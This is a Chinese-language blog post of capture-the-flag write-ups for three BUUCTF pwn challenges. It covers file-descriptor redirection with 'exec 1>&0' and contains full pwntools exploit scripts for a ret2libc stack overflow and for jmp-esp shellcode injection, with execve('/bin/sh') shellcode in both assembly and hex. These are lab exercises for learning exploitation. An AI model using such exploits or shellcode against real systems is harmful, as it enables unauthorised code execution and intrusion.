buuctf:wustctf2020_closed、jarvisoj_level1、ciscn_2019_s_9
本文最后更新于280 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com

1、wustctf2020_closed分析


64位partial relro和NX,但是进去就看到了system和binsh

vulnerable函数有两个close函数,这是什么

close是用来关闭一个已经打开文件的文件描述符

关闭了标准输出和标准错误,那我们可以重定向到标准输入,程序运行到shell去

后面才是返回shell

这里其实以前遇到过,exec重定向,先来看一下文件描述符

0:标准输入

1:标准输出

2:标准错误

就是用exe 1>&0去重定向,把标准输出改为标准输入,这个只在shell脚本里有用。

2、wustctf2020_closed实操

就直接nc输入exec 1>&0


3、jarvisoj_level1分析

32位

vulnerable_function函数

有栈溢出漏洞,这道题应该是ret2libc了,用write函数,但是没有开NX,要不试试shellcode.这样我们要知道buf的地址

其实它已经在程序开始给我们了,我们要接收它,但是我的本地环境和它的不一样,还是ret2libc吧

4、jarvisoj_level1实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26339)
elf=ELF("./level1")
libc=ELF("./libc-2.23.so")

vuln=0x804847B
write_plt=elf.plt['write']
write_got=elf.got['write']

payload=b'a'*(0x88+4)+p32(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write=u32(p.recv(4))
print(hex(write))

base=write-libc.sym['write']
sys=base+libc.sym['system']
binsh=base+next(libc.search(b'/bin/sh'))

payload=b'a'*(0x88+4)+p32(sys)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()


5、ciscn_2019_s_9分析

和上一道信息一样

pwn函数


这题没有打通,所以搜了一下,原来shellcode太长了,而且看到hint函数

这就需要我们构造一下了

首先我们要执行/bin/sh

xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80

之前收集过一个短的

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

然后覆盖原返回地址为指向jmp esp的地址

接着我们修改栈顶为s地址,就是输入shellcode的内存起始地址,需要手动加一下

sub esp,28h;call esp

这是因为s距离ebp是20h,而s距离返回地址的距离是0x24后面接jmp esp地址 0x08048554,距离esp就是28h,我们要让esp栈顶指向s就要让此时的esp减去28h

6、ciscn_2019_s_9实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28470)

shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80
'''
shellcode=asm(shellcode)#后面多余的空间用\x90补
paylaod=shellcode.ljust(0x24,b'\x90')+p32(0x8048554)+asm("sub esp,40;call esp")
p.sendline(paylaod)
p.interactive()


ok,就到这儿吧……

欢迎来到实力至上主义教室......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇